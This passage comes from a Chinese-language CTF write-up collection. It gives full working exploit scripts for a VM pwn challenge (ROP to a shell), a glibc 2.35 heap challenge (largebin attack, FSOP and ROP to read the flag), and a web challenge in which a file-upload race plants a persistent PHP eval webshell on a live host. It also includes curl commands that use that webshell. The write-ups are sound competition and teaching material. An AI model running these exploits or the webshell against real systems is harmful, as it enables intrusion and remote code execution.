+0x60 PIE + 0x2d8f 解释器返回到 main

同时匹配这三个值,可以唯一确定当前 dispatcher 栈帧的 saved RIP 地址。脚本中的逻辑为:

Python
for off in range(0, len(stack) - 0x68, 8):
    if stack[off:off+8] != p64(pie + 0x195b):
        continue
    if stack[off+0x30:off+0x38] != p64(pie + 0x2bc3):
        continue
    if stack[off+0x60:off+0x68] != p64(pie + 0x2d8f):
        continue
    return_slot = stack_start + off

关键点是:泄漏栈时使用的 write 和最终覆盖时使用的 read 都经过同一个 opcode 0x33 handler,调用深度完全相同,因此后续 read 执行时 saved RIP 仍在同一地址。

11. 覆盖 saved RIP 并执行 ROP

把定位到的 return_slot 发送给 VM,令 r3 = return_slot,最后执行:

Text
r0 = 0

r1 = r3

r2 = 40

host_call 0       ### read(0, return_slot, 40)

这次 read 正在 dispatcher 内执行;它把自己的 saved RIP 覆盖为 ROP 链。read 返回后,dispatcher 执行 leave; ret,立即进入 ROP。

ROP 链共 5 个 qword:

Python
chain = flat(
    libc_base + 0x29139,    # ret,修正 16 字节栈对齐
    libc_base + 0x2a3e5,    # pop rdi; ret
    libc_base + 0x1d8678,   # "/bin/sh"
    libc_base + 0x50d70,    # system
    libc_base + 0x455f0,    # exit
)

额外的 ret 用来满足 system 对 SysV ABI 栈对齐的要求。

最终 read 的长度被精确设置为 40 字节。脚本可以在同一个 TCP 包中发送:

Text
40 字节 ROP 链 || shell 命令

VM 的 read 只消费前 40 字节,后面的命令保留在 socket 缓冲区中,成为 /bin/sh 的标准输入:

Shell
cat /flag*; cat ./flag*; exit

12. 完整利用流程

Text
1. r0 = r6,保留真实堆地址的高 32 位
2. host_call(99),错误回写 &vm->r0 的低 32 位
3. 得到完整 &vm->r0,并保存至 r4

4. 泄漏 vm.code,计算 PIE base

5. 泄漏 puts@GOT,计算 libc base

6. 泄漏 libc.environ,得到栈地址
7. 泄漏 0x4000 字节栈窗口
8. 用 0x195b / 0x2bc3 / 0x2d8f 三段特征定位当前 saved RIP

9. 通过宿主 read 覆盖该 saved RIP

10. ROP 调用 system("/bin/sh")
11. shell 读取 flag

13. 远端验证

一次完整远端运行得到:

Text
[+] PIE base  = 0x5586797e9000
[+] libc base = 0x7fdd06be1000
[+] environ   = 0x7fffdd4dc5f8
[+] return slot = 0x7fffdd4dc458

DASCTF{67126353521039200926297497409404}

14. 复现

确保 solve.py 与附件的 libc.so.6 在同一目录,安装 pwntools 后执行:

Shell
python3 -m pip install pwntools
 
python3 solve.py

交付目录中的 solve.py 已针对题目给出的远端地址配置完成,并经过实际远端验证。

EXP

Python
#!/usr/bin/env python3
from pathlib import Path
import struct
 
from pwn import ELF, ROP, context, p64, remote, u64
 
 
HOST = "1.14.76.59"
PORT = 32547
BANNER = b"Please input your opcodes:\n"
 
# Offsets in the PIE reconstructed from the supplied vvmm binary.
VM_R0 = 0x5090
CODE_BUFFER = 0x50E0
PUTS_GOT = 0x4F88
 
# The final VM read overwrites this many bytes at its own wrapper return slot.
CHAIN_QWORDS = 5
CHAIN_SIZE = CHAIN_QWORDS * 8
STACK_WINDOW = 0x4000
 
 
def rr(op: int, dst: int, src: int) -> bytes:
    """Mode 2: two register operands."""
    return bytes([(op << 2) | 2, dst, src])
 
 
def ri(op: int, reg: int, imm: int) -> bytes:
    """Mode 3: register plus native-endian uint32 immediate."""
    return bytes([(op << 2) | 3, reg]) + struct.pack("<I", imm & 0xFFFFFFFF)
 
 
def ii(op: int, imm: int) -> bytes:
    """Mode 0: big-endian uint24 immediate."""
    return bytes([op << 2]) + (imm & 0xFFFFFF).to_bytes(3, "big")
 
 
def mov_rr(dst: int, src: int) -> bytes:
    return rr(3, dst, src)
 
 
def mov_ri(dst: int, value: int) -> bytes:
    return ri(3, dst, value)
 
 
def add_ri(dst: int, value: int) -> bytes:
    return ri(10, dst, value)
 
 
def sub_ri(dst: int, value: int) -> bytes:
    return ri(11, dst, value)
 
 
def host_call(number: int) -> bytes:
    return ii(0x33, number)
 
 
def read_qword_into_r3() -> bytes:
    # r4 permanently holds &vm->r0, so &vm->r3 is r4 + 0x18.
    return b"".join(
        [
            mov_rr(1, 4),
            add_ri(1, 0x18),
            mov_ri(0, 0),
            mov_ri(2, 8),
            host_call(0),
        ]
    )
 
 
def write_from_r3(length: int) -> bytes:
    return b"".join(
        [
            mov_rr(1, 3),
            mov_ri(0, 1),
            mov_ri(2, length),
            host_call(1),
        ]
    )
 
 
def build_vm_program() -> bytes:
    program = []
 
    # r6 is a real heap pointer.  A non-existent host call replaces only the
    # low 32 bits of r0 with &vm->r0; native PIE and brk share the high 32 bits.
    program += [mov_rr(0, 6), host_call(99), mov_rr(4, 0)]
 
    # Leak the VM header so the script can recover this connection's PIE base.
    program += [
        mov_rr(1, 4),
        sub_ri(1, 0x10),
        mov_ri(0, 1),
        mov_ri(2, 0x60),
        host_call(1),
    ]
 
    # Leak the already-resolved puts GOT slot.
    program += [
        mov_rr(1, 4),
        sub_ri(1, VM_R0 - PUTS_GOT),
        mov_ri(0, 1),
        mov_ri(2, 8),
        host_call(1),
    ]
 
    # Stage 1: receive &environ in r3, then leak environ's stack pointer.
    program += [read_qword_into_r3(), write_from_r3(8)]
 
    # Stage 2: receive a stack-window start and leak the live VM call stack.
    program += [read_qword_into_r3(), write_from_r3(STACK_WINDOW)]
 
    # Stage 3: receive the live wrapper return-slot address.  The following
    # read overwrites that slot with a libc ROP chain and returns into it.
    program += [
        read_qword_into_r3(),
        mov_rr(1, 3),
        mov_ri(0, 0),
        mov_ri(2, CHAIN_SIZE),
        host_call(0),
    ]
 
    result = b"".join(program)
    assert len(result) < 0x800
    return result
 
 
def find_wrapper_return_slot(stack: bytes, stack_start: int, pie: int) -> int:
    wrapper_ret = p64(pie + 0x195B)
    interpreter_ret = p64(pie + 0x2BC3)
    main_ret = p64(pie + 0x2D8F)
    candidates = []
    for offset in range(0, len(stack) - 0x68, 8):
        if stack[offset : offset + 8] != wrapper_ret:
            continue
        if stack[offset + 0x30 : offset + 0x38] != interpreter_ret:
            continue
        if stack[offset + 0x60 : offset + 0x68] != main_ret:
            continue
        candidates.append(stack_start + offset)
    if len(candidates) != 1:
        raise RuntimeError(f"expected one live wrapper frame, found {candidates!r}")
    return candidates[0]
 
 
def main() -> None:
    context.arch = "amd64"
    context.log_level = "info"
 
    here = Path(__file__).resolve().parent
    libc = ELF(str(here / "libc.so.6"), checksec=False)
    rop = ROP(libc)
    ret_offset = rop.find_gadget(["ret"]).address
    pop_rdi_offset = rop.find_gadget(["pop rdi", "ret"]).address
    bin_sh_offset = next(libc.search(b"/bin/sh\x00"))
 
    io = remote(HOST, PORT)
    io.recvuntil(BANNER)
    io.send(build_vm_program())
 
    vm = io.recvn(0x60)
    code_pointer = u64(vm[:8])
    pie = code_pointer - CODE_BUFFER
 
    puts_address = u64(io.recvn(8))
    libc.address = puts_address - libc.sym.puts
    print(f"[+] PIE base  = {pie:#x}")
    print(f"[+] libc base = {libc.address:#x}")
 
    io.send(p64(libc.sym.environ))
    environ_stack = u64(io.recvn(8))
    stack_start = environ_stack - STACK_WINDOW
    print(f"[+] environ   = {environ_stack:#x}")
 
    io.send(p64(stack_start))
    stack = io.recvn(STACK_WINDOW)
    return_slot = find_wrapper_return_slot(stack, stack_start, pie)
    print(f"[+] return slot = {return_slot:#x}")
 
    io.send(p64(return_slot))
    chain = b"".join(
        [
            p64(libc.address + ret_offset),
            p64(libc.address + pop_rdi_offset),
            p64(libc.address + bin_sh_offset),
            p64(libc.sym.system),
            p64(libc.sym.exit),
        ]
    )
    assert len(chain) == CHAIN_SIZE
 
    # The VM read consumes exactly CHAIN_SIZE bytes.  The shell receives the
    # command bytes that follow in the same packet.
    command = b"cat /flag*; cat ./flag*; exit\n"
    io.send(chain + command)
    print(io.recvall(timeout=5).decode(errors="replace"))
 
 
if __name__ == "__main__":
    main()

PWN-03

Regular_apples

Flag: DASCTF{CongRaTulat1ons_ON_Get1ng_The_R1ght_App1e}\n解法: UAF + Largebin attack(House-of-Apple 风格)+ FSOP + setcontext 栈迁移 + ROP

题面

64 位 PIE 笔记程序:

Text
1.Add note
2.Delete note
3.Edit note
4.Show note
>

附件含 libc.so.6(glibc 2.35-0ubuntu3.8)与 loader。

漏洞与信号识别

反汇编与黑盒测试得到三个关键事实:

信号 结论
delete 只 free(ptr[i]),不清指针/大小 UAF:释放后仍可 edit/show
申请尺寸限制 [0x500, 0x520](chunk 0x510..0x530) 全为大 chunk:无 tcache,走 unsorted/large bin
show 仅输出 8 字节、edit 写满 size 字节 泄露受限(8 字节足够);edit 全量写

攻击路线推理:

  1. UAF + 大 chunk → unsorted bin 泄露(fd/bk 指向 libc)与 largebin attack(任意地址写)。
  2. 尺寸 0x510/0x520 恰为 largebin 76 的两个档位 → “smaller-than-smallest 分支写 bk_nextsize“手法可用。
  3. 需要控制流劫持且有 UAF 大 chunk → FSOP(劫持 _IO_list_all);glibc 2.35 采用 _IO_wfile_jumps 的 wfile-overflow 路径(House-of-Apple 系列)。
  4. FSOP 需控制执行流 → setcontext+0x126 ret-pivot 跳到堆上 ROP。
  5. 远程可能开启 seccomp → 预留 open/read/write 直读 flag 的兜底(实测确实开启)。

题眼:UAF + 大 chunk 组合是本题唯一可利用入口;后续步骤均围绕“将 _IO_list_all 改写为堆指针”展开。

堆布局与利用链

堆布局

Text
低地址                         高地址
+-------------+  chunk A (0x520)   ← idx0
+-------------+  chunk G (0x510)   ← idx1 (guard)
+-------------+  chunk B (0x510)   ← idx2
+-------------+  chunk H1 (0x510)  ← idx3 (ROP 栈 + 路径串)
+-------------+  chunk C (0x510)   ← idx4
+-------------+  chunk H2 (0x510)  ← idx5 (guard)

Largebin attack(写 _IO_list_all)

Text
目标:*(A->bk_nextsize + 0x20) = B_chunk,即 _IO_list_all = B_chunk

1. free A;malloc(0x520) → A 进入 largebin 76 并留驻(0x520 < 0x530,lookup 跳过)
2. UAF-edit A:A->bk_nextsize = _IO_list_all - 0x20
3. free B;malloc(0x520):
   B (0x510) 以 "smaller-than-smallest" 分支插入 largebin 76(无检查)
   → 执行 *(A->bk_nextsize + 0x20) = B_chunk
   → 即 _IO_list_all = B_chunk
   同一次 malloc 因 lookup 跳过而正常返回(不崩溃)

FSOP 链(exit 触发)

Text
add(非法 size) → exit()
  → _IO_flush_all_lockp 遍历 _IO_list_all (= B_chunk)
  → 假 _IO_FILE at B:
       vtable     = _IO_wfile_jumps
       _wide_data = W (B+0x100)
       W->_IO_write_base = 0, W->_IO_write_ptr = 1    ← 触发 wfile overflow
       W->_wide_vtable   = V (B+0x200)
       V[0x68] (__doallocate) = setcontext+0x126       ← ret-pivot
  → _IO_wfile_overflow → _IO_wdoallocbuf
  → call wide_vtable->__doallocate(fp)
  → setcontext 从 W 载入 rdi/rsi/rdx/rcx
  → push [W+0xa8]; ret → 跳到 "mov rsp,rdx; ret" (0x5a120)
  → rsp = 堆上 ROP 栈(W+0x88 指向)
  → ROP: open/read/write 读 /flag

远程环境差异(踩坑核心)

用已工作的 fwrite 原语 dump 远程 libc 内存逐项核对:

符号 附件 libc 远程 libc 结论
unsorted (main_arena+96) 0x21ace0 0x21ace0 ✅ 一致
_IO_list_all 0x21b680 0x21b680 ✅ 一致
_IO_wfile_jumps 0x2170c0 0x2170c0 ✅ 一致
setcontext 0x539e0 0x539e0 ✅ 一致
puts / fwrite 0x80e50 / 0x7ff20 同 ✅ 一致
**open** 0x1144e0 0x114560 ⚠️ +0x80
**read** 0x1147d0 0x114850 ⚠️ +0x80
**write** 0x114870 0x1148f0 ⚠️ +0x80
pop rdx; pop r12; ret 0x11f2e7 0x11f367 ⚠️ +0x80

两个额外环境事实:

  • 远程 seccomp 屏蔽 **execve**/**system**(fork/exec 全禁)→ 无 shell,只能 open/read/write 直读 flag。
  • socket 时序:接近满长(≥~0x500B)的 edit payload 与 socket read() 竞争,残余字节破坏下一个菜单输入 → 只发每次 edit 实际所需字节(程序 read 恰好返回所发长度)。

脚本

Python
#!/usr/bin/env python3
"""
Regular_apples — pwn (heap) challenge
=====================================
Remote: nc 
 
Vulnerability: use-after-free in the note program (free does not clear the
pointer/size), only sizes in [0x500,0x520] (large chunks, no tcache).
 
Exploit chain:
  1. Leak libc + heap via freed unsorted-bin chunks (show = 8 bytes).
  2. Largebin attack (House-of-Apple-style): corrupt A->bk_nextsize so that
     inserting a smaller chunk B writes B's chunk pointer into `_IO_list_all`.
     (Request size nb=0x530 keeps the largebin lookup from touching the
     corrupted bin, so the attack malloc returns cleanly.)
  3. FSOP on exit: `_IO_list_all` -> fake _IO_FILE at B.  The wfile-overflow
     path (vtable = _IO_wfile_jumps, _wide_data->_IO_write_base==0) reaches
     _IO_wdoallocbuf -> wide-vtable->__doallocate.
  4. __doallocate = setcontext+0x126 (ret-pivot): sets rdi/rsi/rdx/rcx from
     the wide-data area W, then `push [W+0xa8]; ret`.
  5. Jump to `mov rsp,rdx; ret` (0x5a120) with rdx = heap ROP stack =>
     full ROP chain: open("/flag",0); read(fd,buf,0x100); write(1,buf,0x100).
 
IMPORTANT remote-libc notes (the remote libc differs from the attached one):
  * unsorted/_IO_list_all/_IO_wfile_jumps/setcontext/puts/fwrite match the
    attached libc (glibc 2.35-0ubuntu3.8).
  * The syscall-wrapper region (open/read/write) is shifted by +0x80:
      open  = 0x114560   (attached: 0x1144e0)
      read  = 0x114850   (attached: 0x1147d0)
      write = 0x1148f0   (attached: 0x114870)
      pop rdx;pop r12;ret = 0x11f367 (attached: 0x11f2e7)
  * execve/system are blocked by seccomp on the remote (no shell), so the
    flag is read via open/read/write.
  * Long edit payloads (>=~0x500 bytes) can race with read() on the socket
    and leave stray bytes -> desync.  Fix: send only the bytes each edit
    actually needs (read returns exactly what we sent).
 
Flag: DASCTF{CongRaTulat1ons_ON_Get1ng_The_R1ght_App1e}
"""
from pwn import *
import time
 
context.arch = 'amd64'
context.log_level = 'info'
 
HOST = '127.0.0.1'
PORT = 8080
 
# ---- remote libc offsets (verified by dumping the remote libc) ----
OPEN        = 0x114560
READ        = 0x114850
WRITE       = 0x1148f0
MOV_RSP_RDX = 0x5a120         # mov rsp, rdx; ret
POP_RDI     = 0x2a3e5
POP_RSI     = 0x2be51
POP_RDX_R12 = 0x11f367        # pop rdx; pop r12; ret
IO_LIST_ALL = 0x21b680
IO_WFILE_JUMPS = 0x2170c0
UNSORTED_OFF = 0x21ace0
BIN76_HEAD  = 0x21b430
SC_RETPIVOT = 0x539e0 + 0x126
 
def start():
    return remote(HOST, PORT, timeout=15)
 
def add(p, idx, size, content=b'A'*8):
    p.sendlineafter(b'> ', b'1'); p.sendlineafter(b'Index: \n', str(idx).encode())
    p.sendlineafter(b'Size: \n', str(size).encode()); p.sendafter(b'Content: \n', content)
 
def delete(p, idx):
    p.sendlineafter(b'> ', b'2'); p.sendlineafter(b'Index: \n', str(idx).encode())
 
def edit(p, idx, content):
    p.sendlineafter(b'> ', b'3'); p.sendlineafter(b'Index: \n', str(idx).encode())
    p.sendafter(b'Content: \n', content)
 
def show(p, idx):
    p.sendlineafter(b'> ', b'4'); p.sendlineafter(b'Index: \n', str(idx).encode())
    return p.recvn(8)
 
def build_rop(libc, path_addrs, BUF):
    chain = []
    def q(*vals):
        for v in vals: chain.append(v)
    fd = 3
    for path in path_addrs:
        q(libc+POP_RDI, path)
        q(libc+POP_RSI, 0)
        q(libc+OPEN)
        q(libc+POP_RDI, fd)
        q(libc+POP_RSI, BUF)
        q(libc+POP_RDX_R12, 0x100, 0)
        q(libc+READ)
        q(libc+POP_RDI, 1)
        q(libc+POP_RSI, BUF)
        q(libc+POP_RDX_R12, 0x100, 0)
        q(libc+WRITE)
        fd += 1
    return b''.join(p64(x) for x in chain)
 
def exploit(paths, verbose=True):
    p = start()
    def LOG(m):
        if verbose: log.info(m)
    # heap layout: A(0x520), G(0x510), B(0x510), H1(0x510), C(0x510), H2(0x510)
    add(p,0,0x510); add(p,1,0x500); add(p,2,0x500); add(p,3,0x500); add(p,4,0x500); add(p,5,0x500)
    # leaks (free B and C into unsorted)
    delete(p,2); delete(p,4)
    libc_leak = u64(show(p,2))      # B->fd = unsorted head
    heap_leak = u64(show(p,4))      # C->fd = B_chunk
    libc = libc_leak - UNSORTED_OFF
    B_chunk = heap_leak
    A_chunk = B_chunk - 0x520 - 0x510
    B_user = B_chunk + 0x10
    H1_user = B_chunk + 0x520
    LOG(f'libc={hex(libc)} B_chunk={hex(B_chunk)}')
    # reclaim C and B
    add(p,6,0x500); add(p,7,0x500)
    # free A; malloc(0x520) puts A (0x520) into largebin 76 (lookup skipped)
    delete(p,0); add(p,8,0x520)
    # corrupt A->bk_nextsize = _IO_list_all - 0x20
    payload = p64(libc+BIN76_HEAD)+p64(libc+BIN76_HEAD)+p64(A_chunk)+p64(libc+IO_LIST_ALL-0x20)
    edit(p,0,payload)               # short payload -> no socket desync
    # free B; malloc(0x520) -> B binned (smaller-than-smallest) -> *_IO_list_all = B_chunk
    delete(p,2); add(p,9,0x520)
    LOG('[+] attack done')
 
    # ---- ROP chain + path strings in H1 (note3) ----
    ROP_STACK = H1_user + 0x100
    BUF = H1_user + 0x20
    path_addrs = []
    h_payload = bytearray(0x500)
    for i, path in enumerate(paths):
        off = 0x20 + i*0x40
        h_payload[off:off+len(path)] = path + b'\x00'
        path_addrs.append(H1_user + off)
    rop = build_rop(libc, path_addrs, BUF)
    h_payload[0x100:0x100+len(rop)] = rop
    edit(p,3, bytes(h_payload[:0x100+len(rop)]))
    LOG('[+] ROP written')
 
    # ---- fake FILE at B (note2) ----
    W = B_user + 0x100
    V = B_user + 0x200
    LOCK = B_user + 0x300
    fake = bytearray(0x500)
    fake[0x58:0x60] = p64(0)                    # _chain
    fake[0x78:0x80] = p64(LOCK)                 # _lock
    fake[0x90:0x98] = p64(W)                    # _wide_data
    fake[0xb0:0xb4] = p32(1)                    # _mode
    fake[0xc8:0xd0] = p64(libc + IO_WFILE_JUMPS)
    fake[0x118:0x120] = p64(0)                  # W+0x18 write_base
    fake[0x120:0x128] = p64(1)                  # W+0x20 write_ptr
    fake[0x130:0x138] = p64(0)                  # W+0x30 buf_base
    fake[0x188:0x190] = p64(ROP_STACK)          # W+0x88 -> rdx -> new rsp
    fake[0x1a8:0x1b0] = p64(libc + MOV_RSP_RDX)  # W+0xa8 -> mov rsp,rdx; ret
    fake[0x1e0:0x1e8] = p64(V)                  # W+0xe0 _wide_vtable
    fake[0x268:0x270] = p64(libc + SC_RETPIVOT) # __doallocate = setcontext+0x126
    edit(p,2, bytes(fake[:0x408]))
    LOG('[+] fake FILE written')
 
    # ---- trigger exit via add with invalid size ----
    p.sendlineafter(b'> ', b'1'); p.sendlineafter(b'Index: \n', b'11'); p.sendlineafter(b'Size: \n', b'256')
    LOG('[+] triggered')
    return p
 
if __name__ == '__main__':
    paths = [b'/flag', b'/flag.txt', b'/home/ctf/flag', b'/root/flag', b'/home/user/flag', b'/tmp/flag']
    p = exploit(paths)
    time.sleep(0.5)
    try:
        out = p.recv(timeout=8)
        print(out.decode(errors='replace'))
    except Exception as e:
        print('recv err', e)
    p.close()

运行:

Bash
pip install pwntools
python3 solve.py      # 对远程一键利用

关键过程复盘

  1. 本地 ROP 验证通过(附件 libc)→ 打远程失败。
  2. 用已可用的 fwrite 原语 dump 远程 libc → 发现 syscall 包装区 +0x80 偏移 → 校准偏移。
  3. 再次失败 → 探测发现 seccomp 禁 **execve/system** → 改用 open/read/write 直读。
  4. 接近成功但偶发输入错乱 → 定位 socket 时序问题(满长 payload 与 read() 竞争)→ 每次 edit 只发所需字节。
  5. 最终稳定打出 flag。

测试题

Rank-U

Rank-U — Writeup

Flag

DASCTF{15693295613396636896641474380078}

Target

  • http://1.14.76.59:15594/ — Apache/2.4.38 (Debian), PHP/7.3.28
  • “P-D User Login” 登录页(username/password/yzm 验证码),登录后进入 /admin 上传页。

Approach / Chain

验证码绕过 → 弱口令 → 文件上传白名单 + 删除竞态 → 上传的 PHP 在删除窗口内被执行并写出持久 webshell → RCE 读 /flag。

Steps (reproducible)

  1. 验证码绕过 (NULL==NULL)

新会话不请求 captcha.php、POST 登录不带 yzm 字段时,$_POST['yzm'] 与 $_SESSION['code'] 均为 NULL, NULL != NULL 为假 → 验证码校验通过。请求过 captcha 或发送空 yzm 的会话仍被拦截。

Text
curl -s -X POST -d "username=admin&password=year2000" http://1.14.76.59:15594/
# 无 yzm 字段 → 通过验证码 → 凭据正确则 302 → /admin/index.php
  1. 弱口令登录

对 admin 爆破,命中 year2000(配合上面的验证码绕过,爆破无需 OCR)。

Text
curl -s -c cookies.txt -X POST -d "username=admin&password=year2000" http://1.14.76.59:15594/
# 302 Location: ./admin/index.php,携带 PHPSESSID 可访问 /admin/index.php(上传表单 file_upload)
  1. 上传逻辑逆向
  • 上传任意文件都返回 success 并给出保存路径:./Uploads/<dir>/<md5>. <原始扩展名>。
  • <dir> 按客户端恒定(本环境 791073bc7f9ec401a1a3ca35d3489b68)。
  • <md5> 为按秒派生、全局一致的哈希(同秒跨会话/跨文件同名;秒变则变)。尝试破解格式(date 格式×时区×salt、RFC 日期、hex/oct 时间、IP/UA/session/内容参与)均未果 —— 不依赖预测也可利用。
  • 扩展名白名单 = {png, jpg, gif}(jpg/gif/png 即使内容是垃圾也会保留;其他扩展在上传请求内即被 unlink,响应后 GET 必 404)。
  • 文件名穿越(../、%2f)、怪异扩展(php#/php%2F/php )、filename POST 字段均被忽略/被删。
  1. 删除竞态 → webshell

.php 文件在 move_uploaded_file 与 unlink 之间(上传请求进行中,毫秒级)短暂存在。 利用“预测+并发锤击”:

  1. 对齐到秒边界,先上传一张 .png(保留)→ 从响应拿到当前秒的哈希 H;
  2. 立即(同秒)上传 .php payload → 保存为同哈希 H.php;
  3. 期间用 ~12-24 线程并发 GET H.php,命中窗口(观测到 404→500/200 切换,说明文件存在并被 Apache/PHP 处理)。 Payload(被窗口内任意一次 GET 执行):
Php
<?php
$c = "<?php @eval(\$_REQUEST[123]);?>";
file_put_contents(__DIR__."/evil.php", $c);
echo "RACEWIN";
?>

执行后写出持久 webshell:/admin/Uploads/791073bc7f9ec401a1a3ca35d3489b68/evil.php(Uploads 目录公开可读,无需登录)。

  1. RCE 读 flag
Text
curl -s --get --data-urlencode "123=echo file_get_contents('/flag');" \
  http://1.14.76.59:15594/admin/Uploads/791073bc7f9ec401a1a3ca35d3489b68/evil.php
→ DASCTF{15693295613396636896641474380078}

注意:disable_functions 禁了 system/phpinfo 等(system('ls') 无输出);open_basedir 限制在 webroot (scandir('/') 空),但 /flag 可读。

Files

  • login_test.py — 验证码 OCR + 登录测试(验证码绕过前用)
  • battery.sh — SQLi/类型混淆/魔法哈希 探测(全部无效,确认 PDO/预编译)
  • race.py — 盲竞态(上传→解析→GET),可作后备
  • predict_race.py — 预测+并发锤击竞态(实际成功写出 evil.php 的方法)
  • flag_race.py — 竞态执行直接回显 /flag 的 payload(成功率高时直接得 flag)
  • index.html / admin_panel.html — 页面快照

Failed attempts(已排除)

  • SQL 注入:单/双引号、注释、UNION、SLEEP 时间盲注 → 全无差异(PDO 预编译)。
  • PHP 类型混淆:password[]、username[]、0、魔法哈希 → 无效。
  • 源码泄露:robots.txt、.bak/.swp/.phps/.old、.git/.svn、admin 备份、其他 upload 目录 → 404。
  • 文件名绕过删除:../、%2f、#、%00、php#/php%2F/尾随空格/分号/双扩展 → 均被删。
  • 图片 polyglot(合法 PNG+PHP 代码存为 .png/.jpg/.gif)→ Apache 不执行,仅原文输出。
  • Cookie/GET 参数管理员绕过(user/admin/role/isadmin…)→ 无效。
  • 端口扫描被叫停(只允许题目端口)。

EXP

Python
#!/usr/bin/env python3
"""Predict-and-hammer race:
1. At a second boundary, upload a .png -> learn hash H for the current second.
2. Start hammer threads GETting H.php (concurrent with the php upload).
3. Upload the .php payload (same second -> same hash H).
4. If any GET returns 200 with the marker, we won; evil.php was written by the payload.
"""
import requests, re, threading, time, sys
BASE = "http://1.14.76.59:15594"
marker = b"RACEWIN"
payload = ('<?php\n'
           '$c = "<?php @eval(\$_REQUEST[123]);?>";\n'
           'file_put_contents(__DIR__."/evil.php", $c);\n'
           'echo "RACEWIN";\n'
           '?>\n').encode()
def do_login(sess):
    for i in range(30):
        try:
            r = sess.post(BASE + "/", data={"username": "admin", "password": "year2000"}, timeout=15)
            if r.status_code == 200:
                return True
        except Exception:
            pass
        time.sleep(1.0)
    return False
s = requests.Session()
if not do_login(s):
    print("login failed", flush=True); raise SystemExit(1)
print("logged in", flush=True)
stop = threading.Event()
found = threading.Event()
hammer_url = [None]
lock = threading.Lock()
hits = 0
def hammer(wid):
    global hits
    local = requests.Session()
    do_login(local)
    while not stop.is_set():
        u = hammer_url[0]
        if not u:
            time.sleep(0.001)
            continue
        try:
            gr = local.get(u, timeout=4)
            if gr.status_code != 404:
                print(f"[dbg] thread={wid} status={gr.status_code} len={len(gr.content)} head={gr.content[:60]!r}", flush=True)
            if gr.status_code == 200 and marker in gr.content:
                print(f"[+] HAMMER WIN thread={wid} url={u}", flush=True)
                print("    body:", gr.text[:300], flush=True)
                found.set(); stop.set(); return
        except Exception:
            pass
NHAMMER = int(sys.argv[1]) if len(sys.argv) > 1 else 12
NITER = int(sys.argv[2]) if len(sys.argv) > 2 else 200
hthreads = [threading.Thread(target=hammer, args=(i,), daemon=True) for i in range(NHAMMER)]
for t in hthreads: t.start()
def upload_png():
    try:
        r = s.post(BASE + "/admin/index.php", files={"file_upload": ("p.png", b"\x89PNG\r\n\x1a\nprobe", "image/png")}, timeout=15)
    except Exception:
        return None, None
    m = re.search(r'\./Uploads/([0-9a-f]{32})/([0-9a-f]{32})\.png', r.text)
    return m.group(1), m.group(2) if m else (None, None)
def upload_php():
    try:
        r = s.post(BASE + "/admin/index.php", files={"file_upload": ("r.php", payload, "application/octet-stream")}, timeout=15)
    except Exception:
        return None, None
    m = re.search(r'\./Uploads/([0-9a-f]{32})/([0-9a-f]{32})\.(\w+)', r.text)
    return (m.group(2), m.group(3)) if m else (None, None)
t0 = time.time()
for i in range(NITER):
    if found.is_set():
        break
    # align near a second boundary
    frac = time.time() % 1.0
    if frac > 0.3:
        time.sleep(1.0 - frac + 0.02)
    d, H = upload_png()
    if not H:
        continue
    with lock:
        hammer_url[0] = f"{BASE}/admin/Uploads/{d}/{H}.php"
    # upload php immediately (same second)
    H2, ext = upload_php()
    # keep hammering for a bit after, in case deletion is delayed
    time.sleep(0.5)
    if H2 and ext != "php":
        print(f"[{i}] png H={H} php H2={H2} ext={ext} (mismatch seconds?)", flush=True)
    with lock:
        hammer_url[0] = None
    if i % 20 == 0:
        print(f"[{time.time()-t0:.0f}s iter={i}] lastH={H}", flush=True)
stop.set()
print("DONE found=", found.is_set(), flush=True)
if found.is_set() and hammer_url[0]:
    d = hammer_url[0].split("/Uploads/")[1].split("/")[0]
    evil = f"{BASE}/admin/Uploads/{d}/evil.php"
    rr = s.get(evil, timeout=8)
    print("evil.php:", rr.status_code, rr.text[:200], flush=True)
Python
#!/usr/bin/env python3
"""Race to execute a php that echoes /flag directly. Uses predict-and-hammer."""
import requests, re, threading, time, sys
BASE = "http://1.14.76.59:15594"
payload = b'<?php echo file_get_contents("/flag"); ?>'
def do_login(sess):
    for i in range(30):
        try:
            r = sess.post(BASE + "/", data={"username":"admin","password":"year2000"}, timeout=15)
            if r.status_code == 200: return True
        except Exception: pass
        time.sleep(1.0)
    return False
s = requests.Session()
do_login(s)
stop = threading.Event(); found = threading.Event()
hammer_url = [None]
def hammer(wid):
    local = requests.Session(); do_login(local)
    while not stop.is_set():
        u = hammer_url[0]
        if not u: time.sleep(0.001); continue
        try:
            gr = local.get(u, timeout=4)
            if gr.status_code == 200 and b"DASCTF{" in gr.content:
                print("FLAG:", gr.text.strip(), flush=True)
                open("flag.txt","w").write(gr.text.strip())
                found.set(); stop.set(); return
            if gr.status_code != 404:
                print(f"[dbg] {gr.status_code} {gr.content[:50]!r}", flush=True)
        except Exception: pass
NH = int(sys.argv[1]) if len(sys.argv)>1 else 14
for i in range(NH):
    threading.Thread(target=hammer, args=(i,), daemon=True).start()
def up_png():
    try:
        r = s.post(BASE+"/admin/index.php", files={"file_upload":("p.png", b"\x89PNG\r\n\x1a\nprobe", "image/png")}, timeout=15)
        m = re.search(r'\./Uploads/([0-9a-f]{32})/([0-9a-f]{32})\.png', r.text)
        return m.group(1), m.group(2) if m else (None,None)
    except Exception: return None,None
def up_php():
    try:
        r = s.post(BASE+"/admin/index.php", files={"file_upload":("r.php", payload, "application/octet-stream")}, timeout=15)
        m = re.search(r'\./Uploads/([0-9a-f]{32})/([0-9a-f]{32})\.(\w+)', r.text)
        return m.group(2) if m else None
    except Exception: return None
t0=time.time()
for i in range(400):
    if found.is_set(): break
    frac = time.time() % 1.0
    if frac > 0.3: time.sleep(1.0 - frac + 0.02)
    d, H = up_png()
    if not H: continue
    hammer_url[0] = f"{BASE}/admin/Uploads/{d}/{H}.php"
    up_php()
    time.sleep(0.4)
    hammer_url[0] = None
    if i % 25 == 0: print(f"[{time.time()-t0:.0f}s iter={i}]", flush=True)
stop.set()
print("DONE found=", found.is_set(), flush=True)

成功男人背后的女人

Flag:DASCTF{w0mEN_beh1nD_MEn}

题目描述:每个成功的男人背后都站着一个伟大的女人。

解题过程

  1. 解压附件得到一张 PNG 图片。binwalk/手工解析 chunk 发现它不是普通 PNG,而是 Adobe Fireworks 可编辑源文件:除正常的 IDAT 图像外,还带有私有 chunk(prVW/mkBF/mkTS/mkBS + 75 个 mkBT 图块),里面保存着未拼合的图层数据。
